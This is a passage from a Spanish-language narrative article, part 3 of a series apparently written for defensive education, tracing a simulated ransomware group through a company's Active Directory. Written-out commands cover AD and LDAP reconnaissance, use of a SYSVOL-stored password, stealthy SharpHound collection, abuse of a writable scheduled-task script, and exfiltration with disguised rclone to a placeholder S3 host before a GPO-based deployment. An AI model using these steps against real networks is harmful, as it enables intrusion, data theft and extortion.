Anatomía de una APT simulada. Parte 3 - Dentro del bosque de Active Directory

La intrusión real empezó cuando no paso nada. Durante veinticuatro horas, Nebula Jackal dejo que el portátil de Marta Solis siguiera viviendo. Teams. Outlook. SAP. Excel. OneDrive. VPN. Cafe. Reuniones. El implante observaba con la paciencia de un sensor.

Knifewall tomo el caso a las 22:10. Su primera orden no fue `whoami /all`, aunque podía haberla lanzado. Primero pidió contexto.

Task: host_profile.deep
Scope: local only
Timeout: 90s
Output max: 48KB

El resultado:

Hostname: ES-MAD-FIN-0472
Domain: IBERLOGIX.LOCAL
User: IBERLOGIX\msolis
Groups:
  Domain Users
  Finance-Madrid
  SAP-FI-Users
  VPN-Employees
  M365-E5-Users
Mapped drives:
  H: \\fs-mad-02\home$\msolis
  P: \\fs-mad-04\finance
  S: \\sap-share-01\exports
Processes:
  Teams.exe
  OUTLOOK.EXE
  OneDrive.exe
  saplogon.exe
EDR:
  Defender for Endpoint sensor
  Third-party agent legacy mode

El valor no estaba en la máquina. Estaba en sus relaciones.

Primer mapa: no escanear, preguntar

Los malos operadores escanean subredes enteras y despiertan alarmas. Knifewall prefería preguntar al propio sistema que caminos conocía ya. Comandos de bajo ruido:

nltest /dsgetdc:IBERLOGIX
whoami /groups
net use
cmdkey /list
gpresult /r
echo %LOGONSERVER%

Después, consultas LDAP muy medidas:

([adsisearcher]"(sAMAccountName=msolis)").FindOne().Properties
([adsisearcher]"(&(objectClass=group)(cn=*Finance*))").FindAll()
([adsisearcher]"(&(objectClass=computer)(operatingSystem=*Server*))").FindAll()

Nada de BloodHound aun. Primero había que saber si el dominio olía a trampa, si había honeytokens, si había auditoria agresiva o nombres demasiado perfectos. Una salida llamo la atención:

Drive P: \\fs-mad-04\finance
Access: Read/Write

Y otra más:

\\sap-share-01\exports

El equipo no necesitaba Domain Admin para causar dolor. Finanzas y SAP ya eran leverage. Pero The Curator quería tres cosas antes de cifrar:

1. Datos sensibles demostrables
2. Capacidad de interrupción amplia
3. Conocimiento de backups

Eso implicaba moverse.

El hilo suelto en SYSVOL

El primer hallazgo serio fue clásico. No elegante. No nuevo. Real. En `SYSVOL`, un script antiguo de login:

\\IBERLOGIX.LOCAL\SYSVOL\IBERLOGIX.LOCAL\scripts\map_sap_drives.bat

Contenido:

net use S: \\sap-share-01\exports /user:IBERLOGIX\sap_ro Iber2023Read!

La contraseña llevaba años allí. El usuario `sap_ro` era teóricamente de solo lectura, pero en la práctica tenía acceso a exportaciones de SAP con información financiera, proveedores, facturas y reportes. Knifewall no celebró. Documentó.

Finding: hardcoded credential in SYSVOL
Account: IBERLOGIX\sap_ro
Privilege: read SAP exports
Use: data access, pivot candidate
Risk: low-noise

Probaron la credencial sin generar ruido:

net use \\sap-share-01\exports /user:IBERLOGIX\sap_ro Iber2023Read!
dir \\sap-share-01\exports\2026

Funcionó. Hollow, el operador de exfiltración, entró en la campaña.

Credenciales no son contraseñas: son contexto

El siguiente paso fue entender sesiones. Los shares de finanzas revelaban nombres de servidores y usuarios. Los documentos internos revelaban nomenclatura:

FS-MAD-04
SAP-SHARE-01
VEEAM-MAD-01
DC-MAD-01
DC-LIS-01
SCCM-PRI-01
JMP-ADM-02

El nombre `JMP-ADM-02` era interesante: jump server administrativo. Knifewall no podía acceder directamente. Pero podía buscar rastros:

dir \\fs-mad-04\finance\IT-Billing
dir \\fs-mad-04\finance\Audit
findstr /S /I "JMP-ADM VEEAM SCCM admin" \\fs-mad-04\finance\*.txt

Encontraron una hoja Excel de auditoria con columnas mal protegidas. Incluía grupos:

IT-Backup-Admins
IT-Workstation-Admins
SAP-Basis-Operators
Tier1-Helpdesk

Y un comentario:

Pendiente retirar a j.ruiz de IT-Backup-Admins tras migración TransIber.

El usuario `j.ruiz` pertenecía a la filial adquirida. Las adquisiciones dejan permisos como una marea deja basura. Consulta LDAP:

([adsisearcher]"(sAMAccountName=j.ruiz)").FindOne().Properties.memberof

Resultado:

CN=IT-Backup-Admins,OU=Groups,DC=iberlogix,DC=local
CN=VPN-Employees,OU=Groups,DC=iberlogix,DC=local
CN=TransIber-IT,OU=Groups,DC=iberlogix,DC=local

El plan cambió: obtener credenciales o sesión de `j.ruiz`.

Cloud primero: Meridian abre el correo

Mientras Knifewall miraba AD, Meridian trabajaba M365.

La ruta A del phishing había capturado una sesión parcial de Marta. MFA impidió login directo permanente, pero el flujo había expuesto información suficiente para intentar algo mejor: reglas de correo, OAuth consent y búsqueda de documentos. Meridian uso el token capturado antes de que expirara para enumerar datos básicos:

Mailbox: marta.solis@iberlogix.example
MFA: yes
Conditional Access: medium
Device compliance: required for some apps
OneDrive: active
SharePoint finance sites: accessible

Lo mas valioso fue el correo. En Outlook, las conversaciones sobre la migración de TransIber mencionaban a `j.ruiz`. Marta había recibido mensajes de Javier Ruiz, técnico de integración, con adjuntos de inventario. Nebula Jackal preparó un segundo phishing, interno, desde la cuenta de Marta. Mucho mas pequeño. Solo tres destinatarios. Uno era Javier.

El enlace llevaba a una landing interna falsa con documento compartido. Javier, saturado por la integración, hizo clic. Esta vez no hizo falta malware. La ruta capturó credenciales y un token útil.

Del usuario al backup

Con acceso de Javier por VPN, Nebula Jackal tenía una identidad con permisos de backup. El objetivo era **VEEAM-MAD-01**. Primero comprobaron pertenencia:

whoami /groups
net localgroup administrators /domain

Después probaron acceso remoto con bajo ruido:

Test-NetConnection VEEAM-MAD-01 -Port 5985
Test-NetConnection VEEAM-MAD-01 -Port 445

WinRM estaba abierto desde ciertos segmentos. Desde el portátil de Marta no. Desde la VPN de Javier, si. El operador creó un canal separado. No quería mezclar la máquina de Marta con acciones administrativas. Usó el acceso de Javier desde un nodo de infraestructura que imitaba VPN residencial europea, respetando horarios. Los comandos fueron:

Enter-PSSession -ComputerName VEEAM-MAD-01 -Credential IBERLOGIX\j.ruiz
hostname
whoami /all

Javier no era administrador local directamente. Pero pertenecía a `IT-Backup-Admins`, y ese grupo tenía permisos dentro de Veeam. El servidor Veeam era una mina. En muchas empresas, el backup ve todo porque debe copiar todo. Si comprometes backup, no solo puedes robar datos; puedes destruir la recuperación. Knifewall no borró backups aún. Primero enumeró:

Get-ChildItem "C:\Program Files\Veeam\Backup and Replication\Backup"
Get-Service | Where-Object {$_.Name -like "*Veeam*"}

Hollow buscó configuraciones:

dir "C:\ProgramData\Veeam" -Recurse -ErrorAction SilentlyContinue

El hallazgo crítico fue una base de datos local de configuración y scripts de mantenimiento con credenciales de repositorios. Otro hilo suelto.

BloodHound, pero tarde y con guantes

Solo después de varios días lanzaron recolección tipo BloodHound. No desde el portátil inicial. No con parámetros ruidosos. No contra todo. Usaron SharpHound en modo limitado:

SharpHound.exe -c Group,Session,LocalAdmin,Trusts,ACL `
  --Throttle 1500 `
  --Jitter 30 `
  --RandomFileNames `
  --OutputDirectory C:\ProgramData\Microsoft\Crypto\Cache

Los datos se comprimieron, cifraron y salieron en fragmentos pequeños. El grafo reveló una ruta:

j.ruiz
  -> MemberOf IT-Backup-Admins
  -> AdminTo VEEAM-MAD-01
  -> HasSession svc_veeam
  -> MemberOf Backup-Operators
  -> GenericAll over GPO "Server Backup Policy"
  -> linked to OU=Servers

Y otra:

SCCM-PRI-01
  -> client push account stored
  -> local admin on workstation fleet

El SCCM era tentador. Pero tocar SCCM podía generar mucho ruido. Guardaron esa ruta para despliegue final.

Escalada por servicios, tokens y paciencia

En VEEAM-MAD-01 había una sesión de `svc_veeam`. El servicio tenía permisos amplios sobre repositorios y algunos servidores. Intentar dumpear LSASS era ruidoso. Knifewall probó alternativas:

1. Enumerar procesos con tokens accesibles
2. Revisar servicios con rutas modificables
3. Buscar credenciales DPAPI accesibles
4. Revisar tareas programadas
5. Revisar scripts de backup

Comandos:

schtasks /query /fo LIST /v
Get-ChildItem C:\Scripts -Recurse
Get-Acl C:\Scripts\*.ps1

Y encontraron:

C:\Scripts\post_backup_sync.ps1

Ejecutado por una tarea programada como `IBERLOGIX\svc_veeam`. Permisos:

BUILTIN\Users: Read, Write

Era un fallo de libro: script escribible ejecutado por cuenta privilegiada. No insertaron una reverse shell evidente. Insertaron una modificación mínima que exportaba un token DPAPI protegido y creaba una tarea temporal controlada. Después restauraron el script. Pseudoflujo:

backup original script
append minimal command
wait scheduled execution
collect output
restore original script
delete transient artifacts

Con `svc_veeam`, accedieron a repositorios y servidores de backup. Descubrieron que algunos backups eran inmutables, pero otros no. La recuperación no estaba perdida, pero si degradada. The Curator marcó:

backup_pressure: medium-high
do_not_destroy_all: keep recovery plausible

Un ransomware que destruye absolutamente todo reduce la posibilidad de pago si la victima piensa que nada funcionará. Nebula Jackal prefería dejar una salida: pagar o sufrir semanas.

Exfiltracion: robar sin parecer robo

Hollow empezó por clasificar datos. No sacó todo. Sacó lo que servía para presionar. Búsquedas:

Get-ChildItem \\fs-mad-04\finance -Recurse -Include *.xlsx,*.pdf,*.docx |
  Where-Object {$_.Length -gt 10KB -and $_.Length -lt 100MB}

Patrones:

contrato
nomina
payroll
audit
legal
litigation
merger
transiber
board
insurance
cyber

Encontraron:

\\fs-mad-04\finance\Board\2026_Q1_Cashflow.xlsx
\\fs-mad-04\finance\Payroll\ES\Nominas_Marzo_2026.xlsx
\\fs-mad-04\finance\Insurance\CyberPolicy_2026.pdf
\\sap-share-01\exports\vendors_full_2026.csv
\\legal-mad-01\cases\TransIber_Acquisition_Disputes.docx

El documento de seguro ciber era especialmente valioso. Revelaba cobertura, retención, contactos de broker y limites. Vesper lo usaría después. Para exfiltrar, usaron `rclone` renombrado como binario interno:

C:\ProgramData\Microsoft\EdgeUpdate\edgecache.exe

Configuración cifrada:

[stage]
type = s3
provider = Other
access_key_id = 
secret_access_key = 
endpoint = https://s3-compatible-node.example
acl = private

Comando:

edgecache.exe copy "\\fs-mad-04\finance\Payroll" stage:iberlogix-a1/payroll `
  --transfers 3 `
  --checkers 4 `
  --bwlimit 8M `
  --log-file C:\ProgramData\Microsoft\EdgeUpdate\edgecache.log

No usaban ancho de banda máximo. Usaban ritmo de backup. La exfiltración ocurría entre las 23:00 y las 05:00, mezclada con ventanas reales de sincronización. El volúmen fina fue:

Payroll: 420 GB
Legal: 310 GB
Finance: 860 GB
SAP exports: 1.1 TB
Executive mail exports: 180 GB
Total staged: 2.87 TB

Cada lote tenía manifiesto:

{
  "lot": "legal_03",
  "files": 18421,
  "bytes": 332871992102,
  "sha256_manifest": "..."
}

El manifiesto permitía demostrar robo sin mostrar todo.

El dominio cae sin hacer ruido

La ruta a Domain Admin no fue un exploit. Fue una cadena. En un servidor de administración, `JMP-ADM-02`, encontraron una sesión de un administrador de dominio durante una ventana de mantenimiento. No dumpearon LSASS directamente. Usaron token impersonation para ejecutar consultas y crear un acceso persistente temporal. El grupo objetivo:

GPO-Deployment-Admins

Tenía permisos para modificar una GPO vinculada a workstations. No era Domain Admin, pero para despliegue final era suficiente. Abuso:

Compromised admin session
  -> modify GPO startup script
  -> deploy staged payload to selected OUs
  -> force update over natural cycle

No ejecutaron `gpupdate /force` global. Esperaron. La paciencia volvió a pagar. El despliegue final se planificó por lotes:

Batch 1: finance file servers
Batch 2: regional shares
Batch 3: workstations finance/legal
Batch 4: selected application servers
Batch 5: broad workstation encryption if needed

El objetivo no era cifrar absolutamente cada dispositivo. Era crear la sensación correcta de colapso.

Las alarmas que casi funcionaron

IberLogix no estaba ciega. Su SIEM registro eventos raros:

Unusual OAuth flow for marta.solis
Rare domain beneficios-iberlogix[.]com
Scheduled task AdobeUpdateSync
LDAP query spike from ES-MAD-FIN-0472
Large outbound transfer from FS-MAD-04
New access pattern for j.ruiz

Pero cada alerta parecía una excepción manejable. El equipo de seguridad estaba atendiendo un despliegue de EDR en la filial. El falso portal de beneficios coincidía con una migración real. Javier Ruiz tenia permisos por integración. Los backups movían datos de noche. Las alertas no formaron historia hasta que fue tarde. Esa es la lección mas incomoda: muchas intrusiones no fallan por falta de logs, sino por falta de narrativa defensiva. Nebula Jackal ya tenia:

endpoint foothold: yes
M365 access: partial
finance data: yes
legal data: yes
backup knowledge: yes
GPO deployment route: yes
selected server access: yes
payment pressure: high

The Curator autorizó la ultima fase. Mensaje interno: